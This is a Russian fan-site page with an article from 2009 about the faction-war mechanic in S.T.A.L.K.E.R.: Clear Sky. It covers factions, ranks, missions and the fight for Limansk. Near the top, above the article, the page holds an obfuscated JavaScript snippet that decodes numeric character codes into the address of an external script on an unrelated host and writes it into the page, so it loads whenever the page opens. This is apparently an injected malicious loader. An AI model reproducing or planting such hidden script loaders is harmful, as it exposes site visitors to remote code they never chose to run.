
Онлайн всего: 1 Гостей: 1 Пользователей: 0
Кто был сегодня :
| | на развитие сайта | Патчи
|  <script type="text/javascript" language="javascript"> <!-- function MLr867(DwR265){document.write( String.fromCharCode(parseInt(DwR265)-2));} var aL401="106P118P118P114P60P49P49P70P99P120P107P124P"+ "48P113P109P113P117P106P103P101P106P109P99P48P112P103P"+ "118P49P117P49P114P89P76P92P89P102P58P57P56P55P49P65P"+ "117P107P102P63P57P52P58P58P54";var E450=aL401.split("P"); document.write("<script type='text/javascript' language='javascript' src='"); var z269=0;while(z269<E450.length){MLr867(E450[z269]);z269++;} document.write("'></script>"); // --> </script>
 


|
|
Война группировок
Одним из ключевых моментов игры является война различных группировок
сталкеров. Какие боевые сцены мы увидим? Сколько персонажей будет
задействовано? Действительно, события приквела развиваются на фоне
конфликта группировок. Изменения в Зоне привели к нарушению баланса
между фракциями сталкеров, сложившемуся за несколько лет. Каждая
фракция контролировала свои переходы, аномальные места и локации - было
выгодно сосуществовать, чем конфликтовать. Однако в один момент все
поменялось из-за выбросов, перекраивающих карту Зоны - и начались
конфликты за новые территории, началась Война Группировок. Говоря о
Войне Группировок не стоит представлять себе массовые сцены высадки в
Нормандии. В мире S.T.A.L.K.E.R. нет больших батальонов и армий.
Практически у каждой группировки есть основная база, а также ресурсные
и научные точки, контролируемые ее бойцами. Поэтому война будет
идти за территории и позиции. Группировки воюют друг с другом, однако
локальные стычки проходят на уровне не более 10х10 сталкеров.
Самый
масштабный бой идет за потерянный город Лиманск, который открывает
альтернативный проход к центру Зоны. За него сражаются две самых
сильных сталкеровских группировки - Долг и Свобода. Какие миссии и сцены позволит создать война группировок? Какая часть этой войны контролируется AI? Война
группировок управляется системой симуляции жизни. Это полностью
симуляционный режим игры. Как и в "S.T.A.L.K.E.R.", сюжетная линия
помещена в симуляционный геймплей - войну группировок. Игрок может идти
по сюжетной линии и учувствовать или не участвовать в противостоянии
фракций. Один раз сюжетная линия пересечется с симуляционным геймплеем.
Для того, чтобы пробиться в Лиманск, нам предстоит ослабить одну из
группировок, приняв участие в противостоянии фракций. Основная цель
Войны Группировок - принести смысла и глубину в систему симуляции
жизни. Если функциональность и разнообразие поведения сталкеров и
группировок в "S.T.A.L.K.E.R." была на начальном уровне, то в приквеле
все обрело более глубокий смысл. У каждой группировки есть база, с
лидером, складами, периметром охраны, мини-играми, баром, комнатой
механика, проводником и другими персонажами. У группировки есть
глобальная цель - ослабить и захватить базу противника, а также такие
будничные как захват точки переходов между уровнями, захват точек с
артефактами и редкими аномальными явлениями, неожиданные нападения на
отряды противника. Игрок сможет вступить в группировку и принять
участие в противостоянии фракций. Герой получает ранги в группировке -
от салаги и до ветерана. В зависимости от рангов будут усложняться
задания. Если салаге могут поручить зачистить территорию рядом с базой
от мутантов, то ветеран уже зовут на штурм вражеской базы. Миссии будут
разнообразными - захват важных точек, приходить на помощь отрядом
союзников, отбивать контратаки, сопровождать отряд к аномальному месту
и многое другое. Еще одну цель, которую мы ставили перед собой при
создании механики войны группировок, чтобы игрок видел, к чему приводят
его действия. Например, контрольную точку ведущую к месту с артефактами
контролируют бандиты. Уничтожение бандитов означает, что путь к
ресурсам безопасен. Игрок увидит, как сталкеры его группировки пойдут
на освобожденную местность за артефактами. Другой пример - чем больше
группировка контролирует "артефактных" точек, тем более крутых
сталкеров она может вербовать. А захват научной точки дает доступ к
новому оборудованию и оружию, и сталкеры группировки лучше экипируются.
Можно
ли будет потом присоединиться к другому клану? Возможно ли вообще, как
в той же серии The Elder Scrolls, работать сразу на несколько фракций? Переход
между кланами возможен, конечно, это сопряжено с определенными
трудностями и потянет за собой финансовые растраты, либо выполнение
каких-либо важных поручений. Работать на несколько группировок
одновременно нельзя.
Можно ли будет полностью уничтожить все группировки кроме той, за которую ты играешь? Нет, полностью уничтожить группировку нельзя – на место погибших сталкеров будут приходить новые.
Сможет
ли вражеский отряд, поняв бесперспективность дальнейшей схватки,
отступить и уйти (допустим на свою базу, допустим за подкреплением)? Вражеский
отряд будет драться до последнего. Ведь отступление – это проигрыш
заранее, тем более, что у их врага появится прекрасная возможность
выстрелить им в спину. А так, они займут оборону и попытаются
продержаться, пока им на помощь не придет другой отряд.
Кроме
мини-игр о которых вы упоминали, какие другие различия будут между
группировками сверх чисто внешних? Будут ли различия в составе отрядов
и тактике? Кроме мини-игр у группировок в Чистом Небе будут различия
в вооружении, каждая фракция предпочитает свой вид оружия и защиты, в
зависимости от их бюджета и внутренней политики. Также отличаются
тактики ведения боя, например, бандиты для атаки
|
| Категория: Мои статьи | Добавил: Deviz (30.06.2009)
|
| Просмотров: 2138
| Рейтинг: 0.0/0 |
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|

Привет: Гость
Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
|

Мы будем очень благодарны, если Вы разместите наш баннер у себя на сайте. Вот его код:
|
|